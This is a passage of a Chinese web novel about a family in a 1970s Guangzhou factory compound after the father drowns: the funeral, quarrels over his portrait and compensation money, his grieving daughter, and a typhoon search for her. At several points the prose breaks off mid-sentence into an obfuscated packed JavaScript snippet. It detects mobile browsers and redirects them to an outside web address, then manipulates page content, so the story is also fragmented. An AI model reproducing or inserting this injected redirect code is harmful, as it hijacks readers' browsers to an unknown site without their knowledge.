苗丽娟双手叉腰:“有成是从我肚子里出来的,他打从娘胎起就是我的儿子,就是天皇老子来了也改变不了这个事实!” 林毅德面红耳赤:“你简直胡搅蛮缠!有成是我们大房养大,他身上穿的衣服,吃的每一口饭都是我们大房出的钱,跟你们二房有什么关系,今天你们休想带走有成的遗像!” 说着他就要去拿八仙桌上的遗像,苗丽娟怎么可能让他如愿,冲上去用胸脯去挡住林毅德的手:“来人啊,大伯欺辱弟媳,快来人抓住这个老流氓!” 林毅德吓得连连后退,一眨眼间脸上就被挠了好几道口子,气得差点当场厥过去:“泼妇,简直是泼妇!” 就在这两人拉扯时,一个响亮的耳光声让所有人都呆住了,众人看去,就见李兰之站在林有斌面前,后者脸上多了一个鲜红的巴掌印。 “你和有成两个人一起出去,结果只有你一个人活着回来,林有斌你给我说清楚,那天到底发生了什么?” 苗丽娟看到小儿子被打骂骂咧咧就要去抓李兰之的头发,但没扑上去就被罗月娇和刘秀妍等人给架住了胳膊,让她动弹不得。 林有斌没有看李兰之的眼睛:“那天我们上船后,我觉得船舱内空气不太好想去外面甲板透透气,二哥却说他要看信,我便自己去了,我刚到甲板就听到一声巨响,紧接着船身剧烈震动了一下,等大家反应过来时,船体已经开始倾斜下沉,我想过回去救二哥,可当时甲板到处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大院的人把乔学雷团团围住,常明松也走过来,一举把林飞鱼从他手里解救下来。 林飞鱼眼里燃烧着火焰,恨不得在乔学雷身上烧出个洞来:“放下我爸爸的照片!” 常明松祖籍是东北人,往那么一站,比乔学雷足足高了半个头,他手一伸说:“把照片拿出来。” 形势不如人,乔学雷百般不甘愿地把遗像交出去。 林毅德却不肯罢休:“这是我们林家的事,凭什么轮到你们这群外人指手画脚的?” 苗丽娟也嚷了起来:“没错,赶紧把照片拿出来,这是我们林家的事,谁要你们狗咬耗子多管闲事了!” 朱六婶走过来,说一不二道:“林老师是我们罐头厂的职工,那这事就是我们罐头厂和三号大院的事情,我不管你们是林家还是哪家,反正今天谁要是敢破坏林老师的丧事,我明天定要举报到你们单位去!” “没错,跑到我们的地头来欺负人,当我们罐头厂没人啊!” “林老师倒了八辈子霉摊上这样的父母,都说死者为大,他们当父母的不帮忙就算了,还来灵堂上闹事,一看就不是什么好东西,像他们这种人平时肯定没少做缺德事,赶明儿我找人问问,然后把他们通通给举报了!” “算我一份,人多力量大,大家一起举报,就不信他们单位还会包庇他们!” 林毅德听到这话,吓得脸都白了。 苗丽娟脸色同样的难看,他们夫妻两人虽然没工作,但他们大儿子在工厂工作,而且小儿子结婚后也要找工作,这要真被举报了,后面就不好办了。 一时间,林家两房人都被捏住了七寸。 等林家两房人讪讪走后,李兰之含着泪跟大家道谢:“谢谢你们,谢谢你们护住了有成最后的体面。” 林有成人生的最后一程,几乎半个大院的人都来了,哭丧的,帮忙做丧宴的。 当夜幕降临时,朱六婶拿起一个林有成生前用过的瓷碗,抓着林飞鱼的手,把那瓷碗往地上用力一摔。 瓷碗落地,碎成两瓣。 从此阴阳两隔,桥归桥,路归路。 朱六婶红着眼睛高声说:“林老师一路走好——” 众人哭着道:“林老师一路走好——” 林飞鱼看着裂成两瓣的瓷碗,脑子跟浆糊一样。 她想不明白,她好好的一个爸爸,出门没两天,怎么说没就没了? 这时的她还小,不明白人生无常。 人们总以为来日方长,却不知来日可能并不方长,再见也不一定会见,一个转身,可能就是终身。 漫天的晚霞和摇摆的人影在她的头顶旋转,恍惚之中,有人把她爸的遗像塞到她怀里。 林飞鱼脑海里浮现两年前爸爸从广西把她带回家的场景。 “飞鱼,爸爸来带你回家了。” “飞鱼你看,这栋楼叫广州宾馆,是你两岁那年开业的,整栋楼有二十七层。” “飞鱼,这就是我们的家,我们家住在第十八栋二楼三号房,记住了吗?” 两滴眼泪滴落在相框上,仓惶和恐惧中,林飞鱼紧紧抱住怀里的照片。 这一次她带爸爸回家。 10. 找鬼魂 广州从一九五八年开始推行殡葬改革,七十年代初,银河火葬场改名为广州火葬场,林有成的尸体便是被送去这个地方。 人推进去,出来却成了一捧骨灰。 李兰之觉得林有成生前过得太苦了,于是咬咬牙,拿出大半个月的工资买了最高级的楠木骨灰盒。 把骨灰寄存在殡仪馆后,她两手冰冷,拖着无力的双腿回到家。 家里静悄悄的,阳光透过窗玻璃照进屋里,她盯着墙壁照片上温和浅笑的男人,突然才反应过来,从此以后,这世上再也不会有人对她这么笑了。 她在原地站了好久,久到双腿没了知觉才慢慢走回卧室,爬上床,睡到他平时睡的那侧,枕着他平时用的枕头,周身萦绕着还来不及散去的气味,她抱着冰凉的被单,整个人弓成虾的形状。 李兰之只休息了两天就回去上班,邻居和工厂领导都劝她多休息一阵子,但她坚持说自己已经没事,前阵子因她和林有成的事情耽误了大生产的进度,她现在要跟大家一起并肩作战。 领导连说了几声好,还夸赞她不愧是被评为劳模的人,看她精神还不错的样子,于是挥手让她回到岗位。 其实只有李兰之自己才知道,她这次并不是为了什么劳模的称号,她只是没办法呆在那个家里。 家里的每一个地方,每一个角落都充满林有成生活过的痕迹和气息,只要呆在家里,她就会控制不住地想他,想他们以前发生的点点滴滴,想那天为什么不好好跟他告别,想如果那天她要是阻止他出门的话他就不会死,每一次回想,她就会多一分悔恨。 她恨自己为什么没有未卜先知的能力,她也恨老天爷不开眼,恨为什么好人不长命,恨那些丧尽天良的人却活得好好……所以她必须出来工作,否则她会疯的。 李兰之没日没夜地工作,用忙碌来麻醉自己,但在没人注意的角落,林家还有个人变得很反常。 林飞鱼从灵堂后的第二天开始就天天出门。 这天早上,李兰之去上班后,林飞鱼又顶着鸡窝头跟着溜出了门。 林有成疼女儿,每天都起来给女儿绑头发,现在他不在了,林飞鱼自己不会绑头发,李兰之没空管她,导致她跟两年前的常欢一样。 不过常欢在一年前把头发给剪短了,她的性格向来虎,又喜欢跟男孩子玩到一起,从背后看就跟个假小子没两样。 路过公共厨房时,里面有几个阿婆正在用小火煲老火靓汤,俗话说“宁可一餐无菜,不可一日无汤”,广州人喜欢喝汤那是刻在骨子里的。 一锅好汤需要炖上好几个小时,大院的人平时都是下午开始煲,但最近工厂在赶任务,老人为了让家人多补一点,于是改成早上就开始煲。 薏米有祛湿的作用,夏天煲冬瓜骨头薏米汤再合适不过了,几人的对话随着浓郁的香味一起飘出来。 “林老师年纪轻轻的,真是太可惜了。” “可不是,谁能想到会发生这样的事情呢,还有兰之平日笑眯眯的一个人,现在脸上看不到一点笑容,不过再大的苦难总会过去,等过一两年,再找个男人生个儿子就好了。” “她跟林老师感情那么好,只怕没那么容易过去,再说他们十八栋还有一个鳏夫,一个寡妇不都没有再找人吗?” “那不一样,苏家那个有两个儿子,就是不再嫁人腰杆子也够硬,但兰之有什么,就一个女儿,以后女儿一嫁人,她孤零零一个人,谁来给她养老送终?” “说的也是……” 清晨有风,吹得叶子哗啦啦地响,阳光掠过茂密的枝叶照在林飞鱼脸上,不过才几天的时间,她以惊人的速度瘦了,下巴尖尖的,因此显得眼睛更大了,看人时深幽幽的。 她不要妈妈再嫁人,她也不要后爸。 她只要她的爸爸。 在这个世界上,再也不会有第二个人像爸爸那样每天给她绑头发,也不会有人像爸爸那样给她做手工玩具、买小人书。 她的爸爸,是全世界最好的爸爸。 所以,她一定要把爸爸找回来! 就在她要转身时,常欢手里拿着厚厚一打公仔纸,朝她跑过来说:“我要去五号大院拍公仔纸,你要不要跟我一起去?” 所谓公仔纸就是画着各式人像的硬纸板,一毛钱可以买到两张,一张可以分割成二十五幅画面,上面的人物大多取自《三国演义》、《西游记》和《封神榜》等经典名著,最近大院的孩子都在收集公仔纸,为了得到自己喜欢的人物卡片,他们还创造了各种玩法,其中一种就是拍公仔纸。 常欢长得不行,绑头发也不行,但她拍公仔纸特别行。 别的孩子用手拍公仔纸,十次里面只有两三次能把公仔纸拍翻到正面,但常欢很有窍门,她把手掌拱起来,用力一拍,公仔纸轻轻松松就翻转过来。 她因此赢了不少公仔纸,还征服了最大的死对头钱广安做她的小弟,三号大院的公仔纸被她赢得七七八八,最近她开始转战其他大院。 林飞鱼摇摇头:“我不去了,我有很重要的事情要去做。” 常欢像只猫,一下子就被勾起了好奇心:“你要去做什么重要的事情,快点告诉我。” 林飞鱼想了想,把她拉到一旁小声说:“我要去找我爸爸。” 常欢震惊:“你爸爸不是死了吗?” 她觉得林飞鱼很可怜,以前她很羡慕林飞鱼有个长得帅、脾气好、又不重男轻女的好爸爸,但现在她不羡慕了。 因为林飞鱼的爸爸死了,姑姑说林飞鱼的妈妈走路屁股总是一扭一扭的,一看就不是好女人,姑姑还说林飞鱼的妈妈肯定会很快再嫁人,到时候林飞鱼就会有后爸爸。 六栋的海燕已经不上学了,因为她后妈说她脑子笨得跟猪一样,读书只会浪费钱,所以读完三年级海燕就被迫辍学了,海燕现在除了干家务活,她还要帮忙照顾刚出生不久的弟弟。 她觉得林飞鱼以后有了后爸,肯定也不能读书,也要干好多的家务活,真是太可怜了。 林飞鱼玻璃般的眼里蒙了层水雾:“瞎婆婆说人死后会变成鬼魂,而且只有最亲的人才能看到他们,所以我要去找我爸爸的鬼魂。” 常欢更震惊了:“你怎么跟瞎婆婆说话了,你难道不怕被吃掉吗?” 瞎婆婆其实不瞎,她只是因为长了白内障视力不好。 可她脾气真不好,尤其讨厌小孩子,看到小孩子必定要大骂出口,加上她眼睛蒙了一层白色的东西,所以大院的小孩都很害怕她,觉得她像《西游记》里面会吃小孩的老妖怪。 林飞鱼摇头说:“瞎婆婆不吃小孩,而且她还给我糖吃,我不跟你说了,我要去找我爸爸的鬼魂了。” 常欢纠结了一下,很快就决定放弃去拍公仔纸:“我跟你一起去找。” 林飞鱼瞪大眼睛:“你不是要去拍公仔纸吗?而且你不是我爸爸最亲的人,你看不到我爸爸的。” 常欢挠了挠鼻子:“我不找你爸爸的鬼魂,我找……我妈妈的鬼魂。” 其实常欢已经不记得她妈的样子,她妈过世时她还不到两岁,只是她觉得如果妈妈还在的话,肯定会给她绑头发,会给她买漂亮的裙子,她也不用整天担心爸爸会娶个后妈回来。 “好,那我们一起去找。” 林飞鱼觉得这个决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李兰之眼睛通红,歇斯底里嚷着:“你知道不知道,就因为你那封信,你爸爸才会……” “兰之!不要说了!” 章沁跑了进来,打断李兰之即将要说出口的话,又把被吓得浑身颤抖的林飞鱼从她手里解救出来。 她把林飞鱼抱下楼去,交给嫂子罗月娇照顾后才返回楼上,李兰之瘫坐在地上,一副失魂落魄的样子。 章沁压着声音怒道:“你知不知道你刚才在做什么?要是我没及时上来阻止你,你是不是就想把林老师死的责任全部推到飞鱼身上?” 李兰之红着眼:“林有斌说当时有成是想看信才不去甲板,如果没有那封信,有成就不会呆在船舱内,那他就不会死!” 章沁按捺着怒火:“林有斌是个什么人,别人不知道,难道你也不知道吗?那就是个从小满嘴谎言的家伙!不说他讲的是不是真的,就算他说的是真的,那也不是飞鱼的错,林老师的死是个意外,你可以怪驾驶员,也可以怪航运公司,甚至你可以怪老天爷,但就是不能怪飞鱼,她不过是个九岁的孩子,你一个做母亲的对她说那样的话,你是想把她逼死才开心吗?” 李兰之嘴巴张了张,她想说她没有,但喉咙好像被什么堵住。 细碎的微尘和飞蛾在灯泡下乱舞,把光线切割得支离破碎,一如这个没了林有成的家。 章沁没再看她,转身离去。 没走多远,身后就传来断断续续的呜咽声。 两天后,有关抚恤金的消息被传得沸沸扬扬,据说会给每个死者的家属一次性赔付五百元。 在这个猪肉一斤只要七毛六分,大米一斤只要一毛三分钱的年代,五百元虽然不是巨款,但足以让各路牛马蛇神动心。 这天,林家迎来了一位稀客——李兰之的后妈田虹。 11. 新同桌 田虹是个长得非常有女人味的女人,不是顶漂亮,但一举一动会让你联想到江南水乡婉约的感觉,据她自己说,这跟她家的祖籍是江浙那一带有关。 此时她站在门口,手里提着一网兜红苹果,身穿一条红蓝碎花纹长裙子,短发烫成卷儿,看上去十分时尚,跟脸色憔悴苍白的李兰之站在一起,两人不像母女,更像是姐妹。 李兰之对她的到来似乎一点也不惊讶,面无表情说:“您来了。” 田虹也不在意她的态度,自顾走进来,却一眼对上了摆在桌子上的林有成的遗像,摆灵堂那天她没过来,过来的是李兰之的父亲李东磊,但也只是呆不到十分钟就走了,这会儿慕然对上林有成的眼睛,田虹心里忍不住有些发毛。 于是,她选了离遗像最远的椅子坐下,打量着李兰之的脸色说:“你怎么把自己搞成这副模样,你爸要是看到了,肯定又要心疼了。” 李兰之觉得最后四个字特别讽刺,但凡她爸有心疼过她一分,她小时候也不会过得那么凄惨:“您过来有什么事吗?” 田虹说:“你小弟要结婚了,这个周末他对象的家人会过来家里吃饭,你也一起过来吧。” 李兰之脸色更冷了:“家里刚办了丧事,我就不过去了。” 田虹神色自若说:“大家都是一家子,不会计较这个的,再说了,你小弟要结婚,你这个做姐姐的,怎么也要表示一下吧,当年为了你的工作,家里可是把老底都给挖出来了。” 李兰之气得两眼几乎喷火:“老底?不过是送出去了几十元的礼物就能挖了你们的老底,你还以为我像当年那么傻吗,任你们说什么就是什么?再说了,这些年我还回去的一百倍都不止,难道还不够吗?” 那年高考还没有停止招生,她爸却做出了个决定,让她出去找工作,让后妈带来的儿子继续上高中,明明她才是他的亲生女儿,也明明她的成绩比那个拖油瓶好很多,可就因为她是女儿,她连个外来人都比不上。 她毕业后找工作并不理想,无论是当年还是现在,都是人多工作少,家里为了不让她吃闲饭,于是拿钱去走了关系,她因此成功进入罐头厂,但他们从来不是真心为她好,出嫁之前,她的工资全部上交,嫁人后,她每个月的工资也要给家里一半,直到前年飞鱼从广西回来,她才强制把钱减少到工资的三分之一,当然这样做的结果就是——大过年的,她被赶出了娘家。 田虹没把她的怒火当回事,站起来,似笑非笑说:“做儿女的,孝敬父母是天经地义,这个周末,记得早点回来。” 刘秀妍送汤过来时,正好遇到要离去的田虹。 等对方一走远,她把搪瓷盆放桌上问道:“刚才走的那人是谁?” 李兰之咬着牙:“我后妈。” 刘秀妍咋舌:“她就是你爸后面娶那个?怎么这么年轻?” 李兰之冷笑:“不用上班,每天唯一要发愁的便是穿什么衣服,能不年轻吗?” 刘秀妍又问:“一大早的,她过来干什么? 李兰之朝桌子上林有成的遗像看去,眼泪漫上眼眶:“还能过来干什么,不都为了钱。” 刘秀妍没敢看林有成的遗像,站起来去五斗橱拿了碗和勺子过来,给她盛上一碗骨头玉米汤:“趁热喝吧,你现在这个样子真该补补了。” 李兰之大为感动,握住她的手说:“都说日久见人心,秀妍,谢谢你。” 以前她不大喜欢刘秀妍的性子,觉得太小家子气了,但这次林有成出事后,刘秀妍不仅到医院照顾她,最近更是三天两头给她煲汤。 刘秀妍心虚地笑了笑:“大家是邻居,都是应该的。” 远处几个穿绿军裤的男孩正趴在地方拍公仔纸,女孩在树下玩跳飞机,林飞鱼抱着豆丁坐在乔木树下的椅子上,抬头看到后外婆提着一网兜红苹果从楼上走下来,她立即转过身去。 等对方走远了,她才转回来,对着她的背影做了个鬼脸:“铁公鸡!” 她怀里的豆丁见状,有样学样也做了个鬼脸:“鸡~” 豆丁是章沁的儿子,才八个月大,正是放个屁都会被夸的年纪,做鬼脸时露出两颗小乳牙,很是可爱。 林飞鱼抱着他的脸大大亲了一口,豆丁咯咯笑了起来。 章沁从饭堂买了早饭回来,叉烧包、茶叶蛋,还另外给林飞鱼买了条油条和一杯豆浆。 老油条炸得酥脆,豆浆浓郁鲜美,一口豆浆一口油条,端的是个心满意足。 豆丁还不能吃这些东西,章沁用勺子舀了点豆浆放他嘴里,豆丁吃得津津有味,嗷嗷叫着还想再吃,章沁看着儿子,笑得满脸幸福。 逗完儿子,章沁抬头看到林飞鱼呆呆看着自己,她心一软,伸手帮她擦去嘴角的豆浆沫:“吃完就回家吧,你妈妈她……不是故意要凶你的,家里最近发生了那么多事情,她的心情不太好,你是个懂事的好孩子,肯定能体谅大人的不容易。” “好。” 林飞鱼一边咬油条一边含糊应道。 回广州之前阿婆叮嘱她要懂事,爸爸也让她要懂事,现在连沁姨也让她要懂事,既然大家都这么希望,那她会做个懂事的孩子。 只是不知道为什么,刚才还十分香脆的老油条突然就不香了。 刘秀妍拿着搪瓷盆从楼上下来,正好遇到常明松从楼下上来,两人卡在了楼梯间。 刘秀妍跟平时一样转过身子去,不看常明松也不跟他打招呼。 常明松知道她避嫌,平时都是直接走过去,不想这次他却没动,还支支吾吾说:“秀妍,你……你……” 刘秀妍咬着唇,快速瞪了他一眼:“你想说什么就快说,要不然被人看到又要说一些有的没的了。” 常明松没应她的话,反而走上前几步,整个人直接就朝她倾过来,刘秀妍心跳如雷,双腿一软几乎要跌坐在地上,好在常明松眼疾手快扶住了她,然后又从她的头发上抓下一条长条形的白色虫子。 刘秀妍看到虫子,脸都吓白了,同时也明白过来自己刚才是误会了常明松,脸顿时一阵红一阵白。 常明松把虫子丢在脚下,穿45码鞋的大脚踩上去,虫子一下子就被踩扁了:“你头发上有条虫子,应该经过凤凰树时掉下来的。” 凤凰树开花时很美,红艳艳的一大片,就是太容易长虫了,前阵子凤凰树上密密麻麻爬满了这种凤凰木翅蛾的幼虫,把叶子吃光了不说,还垂吊下来,让每个经过的人都忍不住起了一身的鸡皮疙瘩。 大院的男孩子却高兴得不行,抓虫子去吓女孩子,女孩子被吓得哇哇叫,前几天负责树木的老张才给凤凰树喷洒了农药,但还没完全消灭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13983031|148228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉。 刘秀妍脸有些发烫:“应该是,谢谢你,我先走了,我还要回去干家务活。” 说完她像被鬼追一样落荒而逃,直回到家里脸还是红红的。 不过接下来几天刘秀妍的心情都很好,最直接的受益人便是苏志谦。 他妈不仅连着几天没有骂他,还问他要不要买新鞋子,他今年长高了不少,鞋子早就不合脚了,但他自小知道自家跟其他家不一样,因此没跟任何人提过鞋子不合脚的事情,没想到这次他妈竟主动提出要给他买新鞋子,这让他很是受宠若惊。 江起慕从上海回来了,对面的窗口又时不时传出手风琴弹奏的声音,伴随着一个女人的笑声。 江起慕的回来,同时意味着暑假的结束,新学期开始,林飞鱼就是四年级的学生了。 只是这一次,再也没有爸爸陪她去学校。 她背着军绿书包,一个人走在去学校的路上,她咬了一口叉烧包,又伸手摸了摸被剪短的头发,眼泪像金豆子一样吧嗒吧嗒掉下来:“爸爸……爸爸……” 到了学校,江起慕发现林飞鱼的眼睛再次红得跟兔子一样,抽着鼻子的样子看上去比两年前还要可怜兮兮。 苏志辉和钱广安两人挤眉弄眼,两个大头凑在一起嘀咕了好久,准备等林飞鱼一坐下来,一个人抓住林飞鱼的手,一人把青蛙塞到她的衣服里去。 设想很完美,但实行的时候出了点意外。 就在苏志辉伸手想把青蛙塞到林飞鱼衣领时,江起慕对着他的小腿骨用力踹了一脚,苏志辉站不稳撞在课桌上,手里的青蛙同时被甩出去。 好巧不巧,青蛙被甩到钱广安脸上,趴在他的两眼中间,还响亮地叫了一声“呱~” “啊啊啊——” 下一刻,教室里响起钱广鬼哭狼嚎的叫声。 当天,两人的家长就被叫到学校来,回家后,苏志辉回家被苏奶奶抽了一顿,钱广安有钱奶奶护着没有被打,但被扣掉了一个月的零花钱。 班主任和林有成是同事,如今林有成不在了,她觉得自己有义务帮忙照顾林飞鱼,于是给调了座位。 新学期开始,林飞鱼迎来了她的新同桌——江起慕。 一个暑假不见,江起慕的头发剪短了些,个子却长高了不少,不知道是不是错觉,林飞鱼觉得看到他时,好像周围闷热的空气多了丝丝凉意。 大恩在前,这次林飞鱼没有画三八线,还拿出一颗大白兔奶糖递过去:“江起慕,今天真是谢谢你帮我。” 初秋的阳光从窗口照进来,照在他的侧颜上,江起慕生硬地否认:“我没帮你。” 林飞鱼突然发现他的耳朵诡异地红了,好怪,再看一眼:“可苏志辉那个讨厌鬼说你用力踢他的小腿……” 不等她说完,江起慕突然恼怒地说:“把头转过去,还有我说了我没帮你,少乱猜。” “……” 大白兔奶糖最终没能送出去。 只是林飞鱼不明白他好端端的为什么生气,更不明白做了好事为什么不想被人知道。 除非……江起慕想学雷锋叔叔那样做好事不留名。 一定是这样的。 江同学真是个活雷锋。 顿时,林飞鱼看向新同桌的眼睛亮亮的。 江起慕:“?” 12. 怀孕了 季节性水果大生产任务赶在国庆前完成了,李兰之却发现自己向来很准的月事推迟了半个月。 不过她以为是这段时间太累和心情导致的,也没怎么放在心上。 抚恤金终于确定下来——给每个死者家属一次性赔付455元,并在春节前赔付完毕。 与此同时,存在重大操作失误的驾驶员被判处七年徒刑。 害死那么多条人命,结果才判了七年,李兰之觉得荒谬至极,却也无能为力。 抚恤金一确定,各路牛马蛇神便迫不及待登门。 第一个上门的还是田虹这个后妈,不过这次她带了个男人跟她一起过来。 男人一上来就要来抓李兰之的手:“李同志你好,我叫罗腾飞,现在在萝岗供销社当工人,每个月工资二十五元,我前妻生病没了,留下一个女儿,等你嫁过来我们生两个儿子,凑成一对好字。” 李兰之这才知道田虹带人上门的来意,顿时气得五脏六腑都要炸了:“田虹,你以为所有人都像你一样,丈夫死不到一个月就迫不及待投入其他男人的怀抱,我告诉你,我李兰之跟你不一样!” 过后李兰之打听了下,那个男人是工人没错,但平时喜欢喝酒,一喝酒就发酒疯打人,他前妻的病就是被打出来的。 她不由又是一阵心塞,她就知道田虹这女人没安好心。 但没给她喘口气的时间,林家大房来了。 公公林毅德一进来就问道:“我听说你要改嫁?” 李兰之怔了下。 林毅德没给她开口的机会,继续说:“你别急着否认,我们林家不是那等不讲理的人家,你要改嫁可以,但有成的抚恤金你就不能分了,还有飞鱼是我们林家的种,你也不能带走,这份协议你签了吧。” 他们要抚恤金李兰之还能理解,可他们要飞鱼,她就有些想不通了。 别看林毅德夫妻对女儿林雅姿很疼爱,但他们骨子里还是重男轻女的,尤其飞鱼还是二房的种,打从飞鱼出生以来,林家大房就没在意过这个孙女。 李兰之拿起那张写着她自愿放弃抚恤金和抚养林飞鱼的协议,然后当着他们的面撕掉:“我不知道你们从哪里听来的胡话,但我郑重告诉你们,我没有要改嫁,也不会把飞鱼给你们。” 林雅姿哼道:“你邻居都说你后妈把男人带到家里来了,我哥才去世不到一个月你就迫不及待地找男人,像你这种恬不知耻的女人有什么资格分我哥的抚恤金,飞鱼要是跟你这种妈那才叫惨!” 李兰之咬牙:“哪个邻居?你把名字说出来。” 林雅姿翻白眼:“不管是哪个邻居说的,你就说有没有这回事!” 李兰之突然想起半个小时前在楼梯间看到常本华,常本华过来常家不奇怪,奇怪的是这会儿常家的门居然关上了。 当下她朝常家走过去,抬脚往门一踹,门后面顿时传来有人倒地的声音,以及“哎哟”的声音。 李兰之把门推开,看着常本华质问道:“说我要改嫁的人是不是你?” 常本华站起来,摸着被摔疼的屁股:“是我又怎么样?你要是没想改嫁的话,你后妈干嘛把人带到你家里来?” 李兰之气得眼前发黑。 常本华却越发得意:“别人不知道你,我还能不知道吗?平时走路腰扭得跟妖精一样,林老师这才去世不到一个月你就急着找男人,啧啧啧,我要是林老师只怕都要被气活……” “常本华,你他妈的王八蛋!” 李兰之气得满脸通红,扬手就给了她一巴掌。 常本华脸被打偏了,回过神来要跟李兰之拼命,半空却被人抓住了手臂。 抓她的人不是别人,正是她亲哥常明松。 常明松黑着脸说:“本华,你现在就给我道歉。” 常本华气得跳脚:“哥,你是不是有病,现在被打的人是我!” 常明松看她死不道歉,一把将她推进屋里并锁上门,而后转身对李兰之说:“我妹那人说话向来没分寸,我替她跟你道歉,你这边有需要我帮忙的吗?” 李兰之平时不喜欢麻烦别人,但眼下也不客气了:“你去派出所帮我走一趟,就说有人散播谣言。” 林家人看李兰之来真的,气得破口大骂。 常明松看着林家人出了大院,回头又叮嘱门卫以后别让他们进来才返回来,他本想问问李兰之还有没有其他需要帮忙的,走到门口却听到卧室传来压抑的哭声—— “有成你看到了,他们都在逼我,我真怕我会熬不下去……有成,你为什么要走啊呜呜……” 他在门口站了好一会儿,才轻轻关上门,转身离去。 *** 表彰大会没能举行,因为13号台风来了。 据气象台报告,风力最高能达到十级,全市停工停学,全力应对即将登陆的台风。 外面风越来越大,暴雨倾注而下,“啪”的一声,停电了,对面常家传来两姐妹的声音—— “爸爸,停电了!爸爸,停水了!” “常欢你给我闭嘴,停电就停电,有什么好大惊小怪的!” “我就要大惊小怪,关你屁事……啊啊爸爸救命……” 过了一会儿,常欢顶着乱糟糟的鸡窝头过来找林飞鱼,李兰之开了门让她自己进去卧室找。 常欢一边进去一边吐槽:“飞鱼我跟你说,我迟早要干翻常美那条粉肠……飞鱼?飞鱼你躲哪去了?” 常欢以为林飞鱼会像平时那样窝在她的小床上,但进来后却没看到人,小床空荡荡的,接着她把床底、衣柜所有能藏人的地方都翻找了个遍,依旧没找到人。 她一边往外跑一边大声嚷着:“李阿姨,飞鱼不在卧室里面。” “没在卧室里面吗?不可能啊……” 李兰之以为是常欢故意骗她,但很快她就发现常欢这次没捣蛋,林飞鱼真的不见了。 接着大家聚集在苏家。 还是朱六婶主持大局:“兰之,你好好想想,你最后一次见到飞鱼是什么时候?” 李兰之脸色苍白说:“早上她拉肚子,家里的土霉素没了,我当时正好在加固门窗走不开,就让她自己去卫生所买点土霉素回来吃……” 朱六婶:“之后呢,飞鱼买土霉素后回来了吗?” 李兰之摇头:“我不知道,我一直忙着加固门窗,后来又去厨房帮忙,我以为她早就回来了。” 章沁惊怒交加:“你不知道?孩子生病你不陪着去看医生就够离谱,连她回来没回来你都不知道,你是怎么当妈的?” 李兰之脸色更白了。 朱国文拉了拉妻子的手臂让她别说,然后缓解尴尬说:“飞鱼向来是个懂事的孩子,这样的天气她应该不会跑远,大家分头去找一找。” 众人回家拿了雨衣,然后分头寻找了起来。 “飞鱼……飞鱼你在哪里?” “飞鱼快出来了,台风来了,赶紧回家!” 风太大了,树叶被吹得哗啦作响,一些比较小的树甚至被连根拔起,雨点砸在脸上仿佛石子般,砸得人生疼。 大伙把大院能藏人的地方都找了,始终没看到林飞鱼的踪影。 朱六叔像只落汤鸡一样哆嗦了下说:“这样找下去不是办法,兰之你再好好想想,飞鱼会不会被人给带走了。” 李兰之突然想起一个人来:“林雅姿,肯定是林雅姿把人给带走了。” 那天之后林雅姿让人给她传话,说愿意收养林飞鱼,她不知道林雅姿打的是什么主意,总之不会是好事,因此就拒绝了。 想到这,李兰之就要往外冲。 常明松拦住她:“我跟你一起去,有什么事情有个照应。” 朱六婶点头:“对,让明松跟你一起去。” 刘秀妍眼睛在两人身上来回扫了好几下说:“我跟你们一起去。” 李兰之摇头说:“外面在做台风,我和明松两人去就行了。” 说着和常明松一起冲进风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13983032|148228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨里。 尽管穿着雨衣,可等到林雅姿夫家乔家时,两人还是全身湿透了。 李兰之把门拍得震天响:“林雅姿,我知道你在里面,你给我开门!” 拍了好一会儿里面都没有人出来开门,常明松说:“你让开,我把门踹开。” 几脚下去,木门摇摇欲坠,这门要是真被踹下来,这个台风天估计会够呛,里面的人显然也怕了,乔学雷很快开了门。 他做出一副震惊的样子:“嫂子怎么是你……” 李兰之不想跟他费口舌,一把推开冲进去:“林雅姿你给我出来,你把飞鱼给我交出来!” 最终她在小杂物房里找到了林飞鱼,手里捧着两本书正看得入神。 而林雅姿歪靠在门口,一脸挑衅地看着她:“我知道嫂子你想说什么,不过我劝你省点口水,因为飞鱼是自愿跟我回来的,不信你自己问她。” 李兰之恨不得一巴掌甩过去,扭头看到林飞鱼还抱着那两本书,她气不打一处来,走过去把她手里的书抢过来骂道:“跑出来也不跟家里说一声,你知不知道大人会担心的?” 林飞鱼却叫着扑上去抢书:“我的书!我的书!还给我!” 林雅姿见状笑出声来。 李兰之被笑得脸一阵红一阵白,忍不住迁怒道:“林飞鱼,还敢跟我抢,我这就把两本书撕了看你还怎么抢!” 常明松连忙跑进来阻止道:“兰之你别冲动,你让我来跟飞鱼说。” 他从李兰之手里拿过书还给林飞鱼,林飞鱼把书紧紧搂在怀里,宝贝一样。 常明松摸了摸她的头发说:“外面在做台风,你不见了大家都很担心,你六爷爷出去找你时,差点被倒下来的树给砸到了。” 林飞鱼没想到大家会找自己,更没想到六爷爷差点受伤,她低着头:“对不起。” 常明松说:“你姑姑说你是自己跟她过来的,我能知道为什么吗?” 